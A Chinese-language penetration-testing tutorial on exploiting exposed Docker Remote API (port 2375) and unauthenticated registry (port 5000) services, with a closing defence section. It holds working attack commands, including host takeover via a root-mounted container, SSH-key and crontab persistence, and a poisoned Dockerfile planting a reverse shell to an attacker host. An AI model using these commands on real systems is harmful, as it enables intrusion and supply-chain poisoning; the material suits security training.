在云原生与容器化技术普及的今天Docker 已成为企业基础设施的核心。然而配置不当的 Docker 服务往往会成为黑客眼中的“通往天国的阶梯”。在红蓝对抗或靶机实战中2375 端口Remote API和5000 端口Registry是两个极具代表性的切入点。虽然两者都与 Docker 相关但在渗透测试的视角下它们的利用逻辑完全不同2375 端口意味着“即时的控制权”而5000 端口则代表着“深远的供应链打击”。场景一Docker 2375 —— 靶机中的“后门直连”Docker 2375 端口是 Docker Remote API 的默认非加密端口。它设计的初衷是方便开发者远程管理容器镜像、启动或停止服务。然而一旦该端口对公网开放且未配置 TLS 认证任何攻击者都可以像操作本地 Docker 一样控制目标宿主机。1. 原理与风险Docker 采用了典型的 C/S 架构。在 Linux 下默认通过/var/run/docker.sock这一本地 Unix 域套接字通信。为了实现远程管理管理员可能会开启 TCP 监听。2375 端口非加密的 HTTP 通信。2376 端口基于 TLS 加密的 HTTPS 通信。如果在靶机中发现 2375 开放意味着你可以绕过所有的业务逻辑直接与 Docker 守护进程对话。2. 渗透流程从信息探测到指令执行第一步指纹识别通过nmap或curl探测端口。如果返回 Docker 的版本信息JSON 格式说明存在未授权访问漏洞。curlhttp://TARGET_IP:2375/version第二步接管 Docker 权限你可以直接在本地使用-H参数指定远程主机接管其所有容器控制权# 查看所有运行中的容器docker-Htcp://TARGET_IP:2375ps# 查看所有镜像docker-Htcp://TARGET_IP:2375 images3. 深度利用从容器逃逸到宿主机提权仅仅控制容器是不够的攻击者的终极目标是宿主机。最经典的利用方案是拉取一个镜像并在启动时将宿主机的根目录挂载到容器内部。攻击载荷示例docker-Htcp://TARGET_IP:2375 run-it-v/:/mnt alpinechroot/mnt-v /:/mnt将宿主机的根目录/映射到容器的/mnt目录。chroot /mnt切换根目录此时你的 Shell 环境实际上已经变成了宿主机的环境。拿到宿主机权限后的操作修改 SSH 公钥将你的id_rsa.pub写入/root/.ssh/authorized_keys实现持久化控制。计划任务投毒在/etc/crontab中写入反弹 Shell 脚本。敏感文件读取直接读取/etc/shadow进行密码破解。场景二Docker 5000 —— 隐蔽的供应链投毒如果说 2375 是直接破门而入那么 5000 端口就是通过“污染水源”来毒害整座城市。5000 端口通常运行着Docker Registry V2即私有镜像仓库。1. 原理与供应链攻击模型在现代开发流程CI/CD中开发人员将代码推送到 Git流水线自动构建镜像并推送到私有仓库5000 端口最后生产服务器从该仓库拉取镜像运行。如果攻击者能控制 5000 端口他们就可以修改已有的镜像植入恶意代码如后门、挖矿脚本。由于这些镜像是“受信任”的内部镜像运维人员很难发现异常。2. 渗透流程镜像劫持实战第一步API 枚举与资产盘点Docker Registry 提供了一套 RESTful API。我们可以通过以下路径列出仓库中的所有镜像Repositoriescurlhttp://TARGET_IP:5000/v2/_catalog假设发现了一个名为webapp-prod的镜像接下来获取它的所有标签Tagscurlhttp://TARGET_IP:5000/v2/webapp-prod/tags/list第二步下载原始镜像将目标镜像拉取到本地进行“深度加工”dockerpullTARGET_IP:5000/webapp-prod:latest第三步镜像投毒后门植入创建一个恶意的Dockerfile以原始镜像为基础FROM TARGET_IP:5000/webapp-prod:latest USER root # 植入反弹 Shell 脚本 RUN echo bash -i /dev/tcp/attacker_ip/4444 01 /etc/rc.local # 或者直接修改业务代码 COPY malicious_code.py /app/core.py构建新的镜像dockerbuild-tTARGET_IP:5000/webapp-prod:latest.第四步覆盖推送Push Back由于 Registry 端口未授权攻击者可以直接推送同名镜像覆盖掉原始镜像dockerpushTARGET_IP:5000/webapp-prod:latest3. 等待“鱼儿”上钩当生产环境进行下一次自动发布或者运维人员手动重启服务拉取latest标签时你的恶意载荷就会在生产服务器内部执行。这种攻击具有极强的隐蔽性和延迟性因为攻击发生时你甚至不需要在线。攻防维度对比维度Docker 2375 (API)Docker 5000 (Registry)攻击类型直接攻击、未授权访问供应链攻击、中间人劫持即时性极高。一旦发现秒拿权限。中低。需要等待镜像被拉取/部署。隐蔽性低。大量 Docker 指令会在系统日志中留下痕迹。高。恶意代码混在业务代码中极难审计。影响范围单台宿主机。整个集群或所有使用该镜像的服务器。渗透目标获取系统 Shell、逃逸到宿主机。权限维持、数据窃取、横向移动。关键漏洞点DOCKER_OPTS-H 0.0.0.0:2375insecure-registries配置。防御方案构建容器防火墙面对这两种截然不同的威胁防御者需要从配置和架构两个层面发力1. 针对 2375 端口的防御严禁公网暴露绝对不要将 2375 端口映射到公网。强制启用 TLS使用 Docker 官方提供的证书认证机制--tlsverify只有持有有效证书的客户端才能通信。使用 Socket 代理如果必须远程管理建议通过 SSH 隧道转发/var/run/docker.sock而不是开启监听端口。2. 针对 5000 端口的防御身份验证机制为 Registry 配置基本的htpasswd认证或集成 LDAP/OAuth。镜像签名Notary启用 Docker Content Trust (DCT)。服务器只允许运行经过数字签名的镜像防止镜像被篡改。只读镜像库对于生产环境使用的 Registry应严格控制 Push 权限采用“单向流动”原则。漏洞扫描在 CI/CD 流程中加入 Trivy 或 Clair 等扫描工具在镜像入库前检测其中的恶意代码和漏洞。结语在渗透测试的视野里Docker 2375 是一把手术刀追求的是精准、快速的单点突破而 Docker 5000 则是一瓶慢性毒药利用的是信任链条的脆弱性追求的是大规模、持久化的打击。作为安全研究员或网络安全工程师理解这两个场景的区别至关重要前者考验的是对容器逃逸和宿主机配置的理解后者考验的是对企业 DevOps 流程及供应链脆弱性的洞察。在打靶实践中当你看到这两个端口时请根据目标的网络位置和你的渗透目的选择最合适的“姿势”。